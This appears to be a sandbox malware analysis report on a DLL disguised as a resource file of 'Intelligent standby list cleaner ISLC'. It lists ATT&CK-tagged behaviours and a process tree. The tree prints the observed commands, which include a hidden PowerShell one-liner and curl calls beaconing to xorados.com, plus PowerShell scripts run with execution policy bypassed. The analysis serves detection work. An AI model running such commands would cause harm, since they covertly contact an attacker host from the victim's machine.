710ac98e39c675c1ac5ee5c6df2de638637e71da0b1734a9e344ce938b8dc370

Analysis

user interaction
yes
max time kernel
599s
max time network
599s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
14/10/2026, 15:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
cs/Intelligent standby list cleaner ISLC.resources.dll
Size 23KB
Sample261014-svsapsgg52
SHA256 710ac98e39c675c1ac5ee5c6df2de638637e71da0b1734a9e344ce938b8dc370
MD5 01fe492cec55bc1e379170ac3022cb7b
SHA1 d16b8d1989a13d895593b59a1f8f4f3024d941c8
SHA512 1def0f401652c351163bb197da6c70d35780bc3ad41f0773243f71faadb4830b5a8981a0c0f053f04a74d63eaccbe4bff6f6d0c06cb8ebc642c2284c8dc95c6b
SSDEEP 384:NQrQUt6qaREZcgfrjdfd+ffSdkctci/BxOqyKc5XcB9z8oAcQfUTkQpwKNsdmGW4:y6smafx+fEyi/qGpB9zXqakldmGW1Pxo
TLSH
T1B4B25B1257D42615FEFB1F75BDB183266D7AFB203A20C4EE1859800C8972B816EB493B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Badlisted process makes network request 14 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
157	1876	powershell.exe
159	1876	powershell.exe
160	1876	powershell.exe
163	5444	powershell.exe
164	3332	powershell.exe
175	1876	powershell.exe
176	5444	powershell.exe
177	4104	powershell.exe
178	4104	powershell.exe
179	4104	powershell.exe
181	4076	powershell.exe
182	3956	powershell.exe
185	4104	powershell.exe
186	3956	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5444	powershell.exe
3956	powershell.exe
3332	powershell.exe
4076	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 1 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
122	camo.githubusercontent.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5792	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Children	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\DisplayName = "Chrome Sandbox"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Moniker = "cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104"	chrome.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
5444	powershell.exe
5444	powershell.exe
5444	powershell.exe
3332	powershell.exe
3332	powershell.exe
3332	powershell.exe
4104	powershell.exe
4104	powershell.exe
4104	powershell.exe
3956	powershell.exe
3956	powershell.exe
4076	powershell.exe
4076	powershell.exe
4076	powershell.exe
3956	powershell.exe
2360	chrome.exe
2360	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe
Token: SeShutdownPrivilege	4988	chrome.exe
Token: SeCreatePagefilePrivilege	4988	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe
4988	chrome.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 4988 wrote to memory of 1784	4988	chrome.exe	95
PID 4988 wrote to memory of 5512	4988	chrome.exe	96
PID 4988 wrote to memory of 5512	4988	chrome.exe	96
PID 4988 wrote to memory of 5792	4988	chrome.exe	97
PID 4988 wrote to memory of 5900	4988	chrome.exe	98
PID 4988 wrote to memory of 5900	4988	chrome.exe	98
PID 4988 wrote to memory of 5636	4988	chrome.exe	100
PID 4988 wrote to memory of 1812	4988	chrome.exe	101
PID 4988 wrote to memory of 5636	4988	chrome.exe	100
PID 4988 wrote to memory of 1812	4988	chrome.exe	101
PID 4988 wrote to memory of 4852	4988	chrome.exe	102
PID 4988 wrote to memory of 4852	4988	chrome.exe	102
PID 4988 wrote to memory of 1760	4988	chrome.exe	104
PID 4988 wrote to memory of 1760	4988	chrome.exe	104
PID 4988 wrote to memory of 5348	4988	chrome.exe	105
PID 4988 wrote to memory of 5348	4988	chrome.exe	105
PID 4988 wrote to memory of 4004	4988	chrome.exe	106
PID 4988 wrote to memory of 4004	4988	chrome.exe	106
PID 4988 wrote to memory of 2040	4988	chrome.exe	110
PID 4988 wrote to memory of 1100	4988	chrome.exe	112
PID 4988 wrote to memory of 1100	4988	chrome.exe	112
PID 4988 wrote to memory of 2724	4988	chrome.exe	113
PID 4988 wrote to memory of 2724	4988	chrome.exe	113
PID 4988 wrote to memory of 4472	4988	chrome.exe	114
PID 4988 wrote to memory of 4472	4988	chrome.exe	114
PID 4988 wrote to memory of 5768	4988	chrome.exe	122
PID 4988 wrote to memory of 5952	4988	chrome.exe	123
PID 4988 wrote to memory of 4404	4988	chrome.exe	124
PID 4988 wrote to memory of 4484	4988	chrome.exe	128
PID 4988 wrote to memory of 4484	4988	chrome.exe	128
PID 4988 wrote to memory of 2120	4988	chrome.exe	129
PID 4988 wrote to memory of 2120	4988	chrome.exe	129
PID 1876 wrote to memory of 5444	1876	powershell.exe	144
PID 1876 wrote to memory of 3332	1876	powershell.exe	146
PID 1876 wrote to memory of 4784	1876	powershell.exe	148
PID 1876 wrote to memory of 1556	1876	powershell.exe	151
PID 1876 wrote to memory of 3924	1876	powershell.exe	153
PID 4104 wrote to memory of 3956	4104	powershell.exe	160
PID 4104 wrote to memory of 4076	4104	powershell.exe	162
PID 4104 wrote to memory of 3808	4104	powershell.exe	164
PID 4104 wrote to memory of 804	4104	powershell.exe	167
PID 4104 wrote to memory of 5884	4104	powershell.exe	169
PID 4988 wrote to memory of 2360	4988	chrome.exe	172
PID 4988 wrote to memory of 3608	4988	chrome.exe	173
PID 4988 wrote to memory of 3608	4988	chrome.exe	173

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\cs\Intelligent standby list cleaner ISLC.resources.dll",#1
1⤵
PID:4716

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4988
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffd2190c728,0x7ffd2190c734,0x7ffd2190c740
  2⤵
  PID:1784
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1744,i,16040671865313939606,2343344047963229755,262144 --field-trial-handle=1916,i,2628531270644678964,17139964205904188061,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=1912 /prefetch:2
  2⤵
  PID:5512
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1972,i,1985599296268046024,7666091754170208742,524288 --field-trial-handle=1916,i,2628531270644678964,17139964205904188061,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=1604 /prefetch:3
  2⤵
  - System Time Discovery
  PID:5792
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2416,i,5985427631690633519,3731702609724901397,524288 --field-trial-handle=1916,i,2628531270644678964,17139964205904188061,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2428 /prefetch:8
  2⤵
  PID:5900
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3264,i,17833319946505283952,5732781372594819926,2097152 --field-trial-handle=1916,i,2628531270644678964,17139964205904188061,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3268 /prefetch:1
  2⤵
  PID:5636
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3288,i,16790656683757927252,5827166075780048239,2097152 --field-trial-handle=1916,i,2628531270644678964,17139964205904188061,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3304 /prefetch:1
  2⤵
  PID:1812
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4468,i,5802488522853125673,16496057943854475901,2097152 --field-trial-handle=1916,i,2628531270644678964,17139964205904188061,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4484 /prefetch:2
  2⤵
  PID:4852
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4760,i,18411433430327700786,10740596150449403375,2097152 --field-trial-handle=1916,i,2628531270644678964,17139964205904188061,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4636 /prefetch:1
  2⤵
  PID:1760
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3944,i,16377104218141530624,10846476704058083783,524288 --field-trial-handle=1916,i,2628531270644678964,17139964205904188061,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4460 /prefetch:8
  2⤵
  PID:5348
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5084,i,4281593083203409795,15631822170478005271,524288 --field-trial-handle=1916,i,2628531270644678964,17139964205904188061,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5048 /prefetch:8
  2⤵
  PID:4004
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5548,i,749304932180651135,3551398706138043176,524288 --field-trial-handle=1916,i,2628531270644678964,17139964205904188061,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5556 /prefetch:8
  2⤵
  PID:2040
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5584,i,14931079820588763698,6127092588042417837,2097152 --field-trial-handle=1916,i,2628531270644678964,17139964205904188061,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5804 /prefetch:1
  2⤵
  PID:1100
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=3288,i,17044881820356052197,14123004620452465624,2097152 --field-trial-handle=1916,i,2628531270644678964,17139964205904188061,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3504 /prefetch:1
  2⤵
  PID:2724
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=6100,i,5278007819682565033,8092526607180538912,2097152 --field-trial-handle=1916,i,2628531270644678964,17139964205904188061,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6116 /prefetch:1
  2⤵
  PID:4472
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4748,i,10985058238853147521,17563222304115298582,524288 --field-trial-handle=1916,i,2628531270644678964,17139964205904188061,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3120 /prefetch:8
  2⤵
  PID:5768
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4788,i,4235005106241501889,12806212053082002297,524288 --field-trial-handle=1916,i,2628531270644678964,17139964205904188061,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6000 /prefetch:8
  2⤵
  PID:5952
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5920,i,110641701678006904,8476042614146415801,524288 --field-trial-handle=1916,i,2628531270644678964,17139964205904188061,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5992 /prefetch:8
  2⤵
  PID:4404
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5868,i,11188606789265326900,1894192653242115068,2097152 --field-trial-handle=1916,i,2628531270644678964,17139964205904188061,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4768 /prefetch:1
  2⤵
  PID:4484
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=5848,i,9674657563807568439,18119379855842589194,2097152 --field-trial-handle=1916,i,2628531270644678964,17139964205904188061,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6020 /prefetch:1
  2⤵
  PID:2120
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5444,i,15024292315645624245,4789090156194194866,262144 --field-trial-handle=1916,i,2628531270644678964,17139964205904188061,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3236 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2360
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=5708,i,16442996001122141830,16037389425249611069,524288 --field-trial-handle=1916,i,2628531270644678964,17139964205904188061,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4148 /prefetch:8
  2⤵
  PID:3608

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3532

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
1⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\{12ec7d04-1412-4338-81a5-4b5e9f9e9737}.ps1
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command try{$w=[Net.HttpWebRequest]::Create('https://xorados.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=launch_ok');$w.Method='GET';$w.Timeout=8000;$w.ReadWriteTimeout=8000;$w.KeepAlive=$false;try{if($w.Proxy){$w.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials}}catch{};$r=$w.GetResponse();try{$r.Close()}catch{}}catch{}
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3332
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" -s -o NUL --connect-timeout 6 --max-time 10 https://xorados.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=launch_ok
  2⤵
  PID:4784
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" -s -o NUL --connect-timeout 6 --max-time 12 https://xorados.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=launch_ok
  2⤵
  PID:1556
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" -4 -s -o NUL --connect-timeout 6 --max-time 12 https://xorados.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=launch_ok
  2⤵
  PID:3924

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
1⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\msedge_836341.ps1
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command try{$w=[Net.HttpWebRequest]::Create('https://xorados.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=launch_ok');$w.Method='GET';$w.Timeout=8000;$w.ReadWriteTimeout=8000;$w.KeepAlive=$false;try{if($w.Proxy){$w.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials}}catch{};$r=$w.GetResponse();try{$r.Close()}catch{}}catch{}
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4076
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" -s -o NUL --connect-timeout 6 --max-time 10 https://xorados.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=launch_ok
  2⤵
  PID:3808
- C:\Windows\system32\curl.exe
